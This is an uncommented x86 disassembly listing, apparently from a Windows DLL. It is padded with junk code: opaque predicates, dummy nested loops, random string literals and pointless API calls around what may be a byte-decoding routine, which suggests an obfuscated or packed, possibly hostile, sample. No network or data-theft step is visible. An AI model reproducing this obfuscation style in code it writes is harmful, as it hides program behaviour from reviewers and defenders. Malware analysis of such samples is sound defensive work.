jge 0x10022e14
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
setg dl
sub ecx, eax
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x94]
xor edx, edx
cmp ecx, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 1
jle 0x10022e86
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0x18], 0xe159
sub eax, dword [ebp - 0x18]
cmp eax, 0x4cbed562
jge 0x10022ea9
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x3c]
jne 0x10022ec1
cmp dword [ebp - 0x18], ebx
je 0x10022ec1
xor eax, eax
inc eax
jmp 0x10022ec3
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xd4]
mov cl, byte [0x10075bc8]
mov dl, byte [eax]
call fcn.10025f2b
mov byte [0x10075bc8], al
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x34], 0x28d7
cmp dword [ebp - 0x34], 0x2b75
jle 0x10022f60
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
or eax, ecx
lea ecx, [ebp - 0x468]
cdq
push edx
push eax
call fcn.10001ace
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022f1c
mov eax, dword [eax]
push eax
call fcn.1004699c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x468]
call fcn.10005d35
mov ecx, dword [ebp - 0x28]
inc esi
cmp esi, 0x506b
jl 0x10022efe
inc edi
cmp edi, 0x22da
jl 0x10022efc
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x6066
jl 0x10022efa
push ebx
push ebx
push ebx
push 0x1960
call dword [sym.imp.GDI32.dll_PolyPolyline]
mov dword [ebp - 0x1c], ebx
jmp 0x10022f76
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x39c], 0x24a8c6a5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10022f65
cmp dword [ebp - 0x34], 0x25c4
jge 0x10022f90
push str.mbivdvd_wgnedn_fnzb_mkregkwth_nhls_ojjejloj_esxwjfgj_kcqzwtb_cfz
call fcn.1004699c
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x10022faa
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x39c], 0x6df251d6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10022f99
push ecx
push ebx
push ecx
lea edx, [ebp - 0x72]
mov byte [ebp - 0x72], bl
call fcn.1001dcad
xor edi, edi
add esp, 0xc
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 4
jge 0x10023427
mov dword [ebp - 0x34], 0x4252
cmp dword [ebp - 0x34], 0x45bd
jle 0x1002302a
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x480]
xor eax, edi
cdq
push edx
push eax
call fcn.10001ace
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10023000
mov eax, dword [eax]
push eax
call fcn.1004699c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x480]
call fcn.10005d35
inc esi
cmp esi, 0x1362
jl 0x10022fe4
inc edi
cmp edi, 0x3536
jl 0x10022fe2
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xfffffffc
cmp dword [ebp - 0x34], 0x41cf
jge 0x10023045
push str.gtkufscqj_kcmsuwb_ulelh_rhkwf_cqmko_hpzcjqv_ooutgybh_efm_lgtgchrg_zoen_lixda
call fcn.1004699c
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2c], 0x3703acb6
mov dword [ebp - 0x20], ebx
jmp 0x10023117
mov dword [ebp - 0x28], 0xfff6
mov dword [ebp - 0x18], ebx
jmp 0x10023075
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2bc], 0xccd2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10023064
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x10023090
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x220], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10023083
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2b8]
setl dl
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setle cl
sub ecx, eax
imul ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x28], ecx
jne 0x100230d0
cmp dword [ebp - 0x20], ebx
je 0x100230d0
xor edx, edx
inc edx
jmp 0x100230d2
mov edx, ebx
mov eax, dword [ebp - 0x2bc]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x220], ecx
lea eax, [ecx - 0x3b1d40a1]
test eax, eax
jne 0x100230f5
mov eax, dword [ebp - 0x2b8]
cmp dword [ebp - 0x2bc], 0x9ba0
jge 0x10023104
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
sub eax, 0xffff
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff0
jl 0x10023058
push ecx
push 1
mov byte [ebp - 0x67], bl
lea edx, [ebp - 0x67]
push ecx
call fcn.1001f9b9
mov eax, dword [ebp - 0xbc]
lea ecx, [ebp - 0x298]
add esp, 0xc
mov al, byte [edi + eax]
push 4
mov byte [ebp - 0x55], al
call fcn.1000580e
push 0x1874
push ebx
push ecx
mov dword [ebp - 4], 0x17
lea edx, [ebp - 0x354]
mov dword [ebp - 0x18], 4
lea ecx, [ebp - 0x298]
call fcn.10020a25
add esp, 0xc
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], ebx
jl 0x10023296
push ecx
lea eax, [ebp - 0xf8]
mov dword [ebp - 0xf8], 0xa772304b
push eax
push ecx
mov dl, 1
call fcn.1001f9ea
mov dword [ebp - 0x38], 0x30af
add esp, 0xc
cmp dword [ebp - 0x38], 0x3298
jle 0x1002321c
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], 0x19d4
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4b0]
cdq
push edx
push eax
call fcn.10001ace
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100231e1
mov eax, dword [eax]
push eax
call fcn.1004699c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4b0]
call fcn.10005d35
inc esi
cmp esi, 0x30c5
jl 0x100231c3
dec edi
dec dword [ebp - 0x34]
jne 0x100231c1
mov edi, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x30d
jl 0x100231b7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x18]
mov edx, 0xc213
mov eax, dword [ebp - 0x298]
sub edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0xf8]
sub edx, eax
cmp edx, dword [ebp - 0x18]
jg 0x10023244
cmp dword [ebp - 0x18], ebx
je 0x10023244
xor esi, esi
inc esi
jmp 0x10023246
mov esi, ebx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x298]
mov ecx, dword [edx + eax*4]
lea eax, [esi + 0x677b]
add ecx, dword [edx]
imul ecx, eax
test ecx, ecx
jne 0x1002326a
cmp dword [edx + 0xc], ebx
jne 0x1002326a
mov eax, ebx
jmp 0x1002326d
xor eax, eax
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0x38], 0x2ff8
jge 0x10023287
push str.tjkcz_hwbrz_edoy_upzc_hzxgmxps_wrtwmd_lpgikz_cpdclajud_sqjtdmcea_pki_mvm_gquna
call fcn.1004699c
pop ecx
mov dword [ebp - 4], 0x17
dec dword [ebp - 0x18]
jmp 0x1002317c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.1000586b
mov edi, dword [ebp - 0x1c]
mov eax, edi
cdq
idiv dword [ebp - 0x10c]
mov cl, byte [ebp - 0x55]
mov esi, edx
mov dl, byte [ebp - 0x49]
call fcn.10025f2b
mov ecx, dword [ebp - 0xd4]
mov dl, byte [esi + ecx]
mov cl, al
call fcn.10025f2b
mov ecx, dword [ebp - 0xbc]
mov byte [edi + ecx], al
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x1c], ebx
jmp 0x10023301
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x180], 0x261f9c28
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100232f0
mov dword [ebp - 0x18], ebx
jmp 0x100233cb
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x38], 0x9ba87a5e
push 3
call fcn.1000580e
push 1
push 0x1a44
lea eax, [ebp - 0x2a4]
mov dword [ebp - 4], 0x1a
push eax
push 0x3186
push 0x41fb
push ebx
push ebx
mov edx, 0x7ea5
lea ecx, [ebp - 0x21c]
call fcn.100208f2
mov eax, dword [ebp - 0x18]
add esp, 0x1c
cmp dword [ebp + eax*4 - 0x180], ebx
jne 0x100233d6
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x180], ebx
jne 0x10023395
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x180]
imul eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
jl 0x10023395
mov eax, ebx
jmp 0x10023398
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
mov dword [ebp - 0x38], edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2a4]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
lea ecx, [ebp - 0x2a4]
call fcn.1000586b
inc dword [ebp - 0x18]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x18], ecx
jle 0x1002330f
jmp 0x100233e8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a4]
call fcn.1000586b
xor ecx, ecx
inc ecx
push 0x5c97
push ecx
push ecx
mov dl, cl
mov ecx, 0x98
push 0x28eb
call fcn.1001fb98
add esp, 0x10
lea eax, [ebp - 0x55]
mov edx, 0x35b5
push 1
push ecx
push eax
lea eax, [ebp - 0x49]
push eax
push ecx
mov ecx, 0x4005
call fcn.10020be0
add esp, 0x14
inc edi
jmp 0x10022fc4
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
test eax, eax
jle 0x10025257
cmp eax, 0x2a0a
jae 0x10025257
push 0x67a5
push 0x5e94
push 0x2b06
push 0x6e1
push 1
push ebx
mov edx, 0x58d3
mov cl, 1
call fcn.10021a0e
add esp, 0x14
lea eax, [ebp - 0xd4]
lea edx, [ebp - 0x10c]
lea ecx, [ebp - 0x154]
push ebx
push eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x1d8]
push eax
lea eax, [ebp - 0x49]
push 0x899
push eax
call fcn.100201a6
add esp, 0x18
mov edx, 0x6fba
push 0x3ee7
push 1
push 0x1010d9a4
push ecx
call fcn.1001d926
add esp, 0x14
mov dword [ebp - 0x60], ebx
mov edx, 0x903
mov ecx, 0x728
push 0x345d
push 1
push 0x4e09
push 1
push 0x4237
push 0x2616
push 1
call fcn.1001ff5c
mov eax, dword [ebp - 0xbc]
lea ecx, [ebp - 0x178]
add esp, 0x1c
add eax, 4
mov dword [ebp - 0x34], eax
push 1
call fcn.1000580e
mov dword [ebp - 4], 0x1b
lea ecx, [ebp - 0x32c]
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x38], 0xd04549c4
mov dword [ebp - 0x24], 9
push 4
call fcn.1000580e
xor edx, edx
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x50], ebx
inc edx
jmp 0x1002354e
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x178]
mov dword [eax + ecx*4], 0xa5d6
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x1002353b
mov dword [ebp - 0x50], ebx
jmp 0x10023569
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x414], 0xc242ea6a
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jl 0x10023558
push edx
lea eax, [ebp - 0x32c]
mov ecx, 0x2e06
push eax
push 0x1188
push 0x2bdd
push edx
push 0x49f0
lea eax, [ebp - 0x50]
push eax
push 0x3a2
call fcn.1001db29
mov dword [ebp - 0x20], ebx
add esp, 0x20
cmp dword [ebp - 0x20], ebx
jl 0x1002369b
mov edi, dword [ebp - 0x32c]
mov dword [ebp - 0x18], 0xe0b4074d
mov dword [ebp - 0x1c], 0x84132d38
mov dword [ebp - 0x18], ebx
jmp 0x100235d4
push ecx
push 0xf04
mov dl, 1
call fcn.100200a5
inc dword [ebp - 0x18]
pop ecx
pop ecx
cmp dword [ebp - 0x18], ebx
jle 0x100235c2
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x178]
cmp dword [eax], ebx
je 0x10023601
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], ebx
jne 0x1002360c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x178]
add ecx, dword [eax]
jne 0x10023631
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x178]
cmp dword [eax + ecx*4], ebx
jne 0x10023631
mov eax, ebx
jmp 0x10023634
xor eax, eax
inc eax
imul eax, eax, 0xba79
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
test ecx, ecx
setle al
xor edx, edx
mov dword [ebp - 0x1c], eax
mov esi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x178]
cmp ecx, dword [eax + esi*4]
setl dl
xor ecx, ecx
mov dword [ebp - 0x18], edx
inc ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
sub ecx, eax
mov edx, dword [ebp - 0x178]
xor eax, eax
cmp ecx, dword [edx + esi*4]
setl al
mov dword [ebp - 0x40c], eax
mov dword [edi + 4], eax
dec dword [ebp - 0x20]
jns 0x100235af
push 1
push ecx
push 0x7fd2
mov edx, 0x223a
call fcn.10020db9
add esp, 0xc
lea ecx, [ebp - 0x32c]
call fcn.1000586b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.1000586b
push dword [ebp - 0x21c]
movdqa xmm0, xmmword [0x1006c1b0]
lea eax, [ebp - 0x3e8]
push eax
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x1c], 0xffffffff
push eax
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0x2d4]
push ebx
movdqu xmmword [ebp - 0x3f8], xmm0
mov dword [ebp - 0x2d4], ebx
mov dword [ebp - 0x2d0], ebx
mov dword [ebp - 0x2cc], ebx
call fcn.10018284
push ecx
push 1
push 0x45be
push 0x40cc
push 0x23c7
lea eax, [ebp - 0x69]
mov dword [ebp - 4], 0x1d
push eax
mov byte [ebp - 0x69], bl
mov edx, 0x54b3
push 0x263d
mov ecx, 0x3867
call fcn.100201a6
add esp, 0x1c
mov dword [ebp - 0x1c], ebx
jmp 0x100237ee
push 3
lea ecx, [ebp - 0x308]
call fcn.1000580e
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x308]
mov dword [ebp - 0x30], 1
xor dl, dl
mov dword [ebp - 0x30], ebx
push ecx
mov dword [ebp - 0x30], 0xfffffff6
push eax
mov dword [ebp - 0x30], 0xd870a326
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x30], 0x65420764
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x3cc], 0xfffffff8
push eax
call fcn.1001f1fd
add esp, 0xc
mov dword [ebp - 0xa0], ebx
jmp 0x100237ca
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x364], 0x158018d9
inc dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], 1
jl 0x100237b3
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], 0x1d
mov dword [eax + 8], ebx
call fcn.1000586b
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff2
jg 0x10023755
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2d4]
call fcn.1000586b
push 0xa
pop ecx
mov al, bl
mov dword [ebp - 0x7f], 0x47fc024a
push 2
mov esi, ebx
mov byte [ebp - 0x80], al
mov word [ebp - 0xc0], cx
pop edi
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0x1c], edi
cmp edi, 5
jae 0x10023f30
movzx eax, al
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x10023c3d
push ecx
push 0x255e
push 0x31b5
push 0x5c34
push ecx
push 1
push 0x5f95
push 0x3d71
push 0x5acf
mov edx, 0x48c1
mov ecx, 0x2d6c
call fcn.1002024a
movzx eax, byte [ebp + edi - 0x80]
lea ecx, [ebp - 0x1b8]
add esp, 0x24
mov dword [ebp - 0x3c], eax
inc eax
mov dword [ebp - 0xfc], eax
push 3
call fcn.1000580e
push 0x3e3d
sub esp, 0xc
mov dword [ebp - 4], 0x1f
lea eax, [ebp - 0x3b4]
mov dword [ebp - 0x18], 0xba394643
mov dword [ebp - 0xf0], 0xebda1846
push eax
push 1
push ecx
lea ecx, [ebp - 0x1b8]
call fcn.1001dc37
mov dword [ebp - 0x18], ebx
add esp, 0x1c
cmp dword [ebp - 0x18], 2
jg 0x100239d3
push 3
lea ecx, [ebp - 0x320]
call fcn.1000580e
lea eax, [ebp - 0x320]
mov byte [ebp - 4], 0x20
push eax
lea eax, [ebp - 0x374]
mov dword [ebp - 0x2c], 0xffffffff
push eax
push 1
push 1
xor dl, dl
mov ecx, 0x7df1
call fcn.10021792
mov eax, dword [ebp - 0x1b8]
add esp, 0x10
cmp dword [eax], ebx
je 0x10023931
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1b8]
cmp dword [eax + ecx*4], ebx
je 0x10023931
xor edx, edx
inc edx
jmp 0x10023933
mov edx, ebx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x18]
imul ecx, edx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0xf0], ecx
mov esi, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x320]
mov dword [eax], esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1b8]
mov dword [ebp - 0x2c], edx
mov edx, dword [edi + eax*4]
imul edx, esi
sub edx, dword [edi + ecx*4]
mov ecx, dword [ebp - 0x2c]
neg edx
push ecx
sbb edx, edx
xor eax, eax
inc edx
cmp dword [edi + ecx*4], edx
mov dl, 1
push 0x2e2e
setne al
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0xf0]
push 0x20fd
push eax
call fcn.1001dc6b
add esp, 0x10
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x320]
call fcn.1000586b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100238db
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x62]
mov byte [ebp - 0x62], bl
push eax
push 1
push ecx
mov edx, 0x81e
mov ecx, 0x5fb4
call fcn.10020a25
add esp, 0xc
lea ecx, [ebp - 0x1b8]
or esi, 0xffffffff
mov dword [ebp - 4], esi
call fcn.1000586b
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x18], 1
dec eax
mov dword [ebp - 0xa8], esi
add edi, eax
mov dword [ebp - 0x20], 0xd53bc6e5
mov dword [ebp - 0x108], 9
mov dword [ebp - 0x24], 0x22781501
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x98c53483
mov dword [ebp - 0x1c], ebx
jmp 0x10023a4b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcc], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10023a3a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc8], eax
test eax, eax
je 0x10023b0e
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], ebx
jmp 0x10023b02
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xcc], ebx
jne 0x10023ac6
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x28]
add ecx, 0xb243
cmp ecx, eax
push 0x116
setg dl
mov dword [ebp - 0xc8], edx
mov edx, 0x64f7
push ecx
xor cl, cl
call fcn.10021515
inc dword [ebp - 0x20]
pop ecx
pop ecx
cmp dword [ebp - 0x20], 2
jle 0x10023a7f
jmp 0x10023b35
push ecx
push ecx
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0xfafe44fa
push eax
push 0x56c
push 0x1b8
mov cl, 1
call fcn.10020e81
add esp, 0x14
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
je 0x10023b4a
cmp dword [ebp - 0x18], ebx
je 0x10023b4a
xor esi, esi
inc esi
jmp 0x10023b4c
mov esi, ebx
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0xc8]
jl 0x10023b6d
cmp dword [ebp - 0xc8], ebx
je 0x10023b6d
xor ecx, ecx
inc ecx
jmp 0x10023b6f
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
cmp edx, 0xfffffffe
mov dword [ebp - 0xc8], edx
setne cl
xor eax, eax
cmp ecx, 0xe2b78356
setne al
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x108]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x18]
jne 0x10023bce
cmp dword [ebp - 0xa8], ebx
jne 0x10023bce
mov eax, ebx
jmp 0x10023bd1
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub esi, eax
je 0x10023bf4
push ecx
push 0x21e2
mov edx, 0x731b
xor cl, cl
call fcn.100211b2
pop ecx
pop ecx
jmp 0x10023efa
lea eax, [ebp - 0x244]
mov dword [ebp - 0x264], 6
push eax
lea eax, [ebp - 0x264]
mov dword [ebp - 0x244], 0xffffffff
push eax
push 0x11e3
push ecx
push ecx
push 1
push 0x4d0b
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x108]
call fcn.10020504
add esp, 0x1c
jmp 0x10023efa
mov edx, 0x1b5c
mov cl, 1
call fcn.10020701
movzx edx, byte [ebp + edi - 0x7f]
mov eax, edi
sub eax, esi
push 2
movzx eax, byte [ebp + eax - 0x82]
movzx ecx, word [ebp + eax*2 - 0xc0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x80]
add ecx, edx
or esi, 0xffffffff
mov word [ebp + eax*2 - 0xc0], cx
mov dword [ebp - 0x44], 0xa4f8
mov dword [ebp - 0x28], 0x68451f1e
mov dword [ebp - 0x38], 0xe469209a
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x10023ca9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x104], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10023c9c
mov dword [ebp - 0x18], ebx
jmp 0x10023cc4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3b0], 0x9e0c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10023cb3
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
je 0x10023cf4
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x44]
imul ecx, eax
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp eax, 0xfffffffc
mov eax, 0xfffe
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0x100]
sbb ecx, ecx
inc ecx
sub ecx, eax
mov eax, dword [ebp - 0x44]
add eax, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x104]
sub eax, dword [ebp - 0x100]
jne 0x10023d39
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x24], 0x21692869
cmp dword [ebp - 0x24], ebx
je 0x10023d4e
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x100], ebx
xor eax, eax
inc eax
cmp dword [ebp - 0x44], eax
jl 0x10023def
push eax
lea ecx, [ebp - 0x338]
call fcn.1000580e
push 1
lea eax, [ebp - 0x250]
mov dword [ebp - 4], 0x21
push eax
push 0x3add
push 0x2b9d
push 0x46c
push ebx
push 1
lea edx, [ebp - 0x338]
mov ecx, 0x76bd
call fcn.100208f2
add esp, 0x1c
lea eax, [ebp - 0x338]
push 0x6298
push 1
push ecx
push ecx
push eax
call fcn.1001ddbc
add esp, 0x14
lea eax, [ebp - 0x44]
mov edx, 0x4286
mov ecx, 0x7132
push 1
push 0x22c
push 0x4d24
push 0xbac
push eax
push 1
push 1
call fcn.100208f2
add esp, 0x1c
lea ecx, [ebp - 0x338]
jmp 0x10023e91
push dword [ebp - 0x250]
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x1e4], ebx
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x1e0], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1dc], ebx
push ebx
lea ecx, [ebp - 0x1e4]
movdqu xmmword [ebp - 0x408], xmm0
call fcn.10018284
mov dword [ebp - 4], 0x22
mov byte [ebp - 0x3d], bl
cmp byte [ebp - 0x3d], 0
je 0x10023e59
push 0x668f
push 1
push 0x2533
push 1
mov edx, 0x59e0
mov cl, 1
call fcn.10020a8c
add esp, 0x10
mov dword [ebp - 0x44], 0x1b
jmp 0x10023e85
lea eax, [ebp - 0x1e4]
push eax
push 1
push 0x3e3d
push 0x72dc
push 0x661a
call fcn.10020b2d
add esp, 0x14
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffffe
jne 0x10023e62
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 4], esi
call fcn.1000586b
mov eax, dword [ebp - 0x104]
push ecx
push ecx
mov dword [ebp - 0x3ac], eax
mov ecx, 0x151a
push ebx
lea eax, [ebp - 0xfc]
push 0x3418
push eax
call fcn.1001e273
mov dword [ebp - 0x24], 0x6440
add esp, 0x14
cmp dword [ebp - 0x24], 0x67f5
jle 0x10023ed8
push ebx
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x24], 0x6195
